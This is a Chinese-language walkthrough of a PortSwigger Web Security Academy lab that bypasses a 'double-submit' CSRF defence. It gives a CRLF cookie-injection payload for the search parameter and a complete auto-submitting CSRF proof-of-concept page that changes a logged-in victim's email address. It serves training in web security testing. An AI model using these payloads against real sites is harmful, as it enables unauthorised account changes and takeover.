从业者-CSRF-令牌仅在Cookie中复制
# 实验室:CSRF-令牌仅在Cookie中复制
# 题目
此实验室的 电子邮件更改功能 容易受到 CSRF 的攻击。它试图使用不安全的 “双重提交” 技术来防止 CSRF 攻击。
若要解决实验室问题,请使用漏洞利用服务器托管一个 HTML 页面,该页面使用 CSRF 攻击来更改查看者的电子邮件地址。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。
- name: 实验室-从业者
desc: CSRF-令牌仅在Cookie中复制 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-duplicated-in-cookie
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,可以看到一个熟悉的搜索功能。
先不管搜索功能,点击 “My account” 访问登录界面,并使用题目中提供的用户名和密码进行登录。
登录后,在账户页面中可以看到一个邮箱更改功能,输入一个新邮箱,点击 “Update email” 并捕获请求数据包。
捕获的请求数据包如下。
修改 Cookie 中的csrf
参数值为1
,返回错误信息。
将 POST 中的csrf
参数也修改为1
,请求成功。
说明更改邮箱时,服务端只会对比 POST 和 Cookie 中的两个csrf
参数值是否相同,只要相同即可通过验证。
进行一次搜索,并捕获请求数据包。
和上一个实验室相同,可以注入 Cookie。
通过注入字符\r\n
进行换行,然后另起一个Set-Cookie
注入新的 Cookie,同时指定SameSite=None
属性禁用同站策略:
abc%0d%0aSet-Cookie:%20csrf=123456%3b%20SameSite=None
在以上载荷中,将csrf
的值设置为了123456
。
使用 wiener 账户的邮箱更改数据包,生成一个 CSRF PoC:
- 先通过
img
标签请求搜索功能,以注入 Cookie 中的csrf=123456; SameSite=None
参数值 - 然后通过表单执行 CSRF 攻击,
csrf
值同样也为123456
,与 Cookie 中的对应
别忘了修改 PoC 中的邮件地址,防止冲突。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<img src="https://<受攻击的域>/?search=xyz%0d%0aSet-Cookie:%20csrf=123456%3b%20SameSite=None">
<form action="https://<受攻击的域>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="x@y.z" />
<input type="hidden" name="csrf" value="123456" />
<input type="submit" value="Submit request" />
</form>
<script>
function submit() {
document.forms[0].submit();
}
setTimeout(submit, 2000);
</script>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
保存以上 PoC 到漏洞利用服务器上,然后发送给受害用户。
载荷正确,成功更改了受害用户的邮箱地址。
实验完成。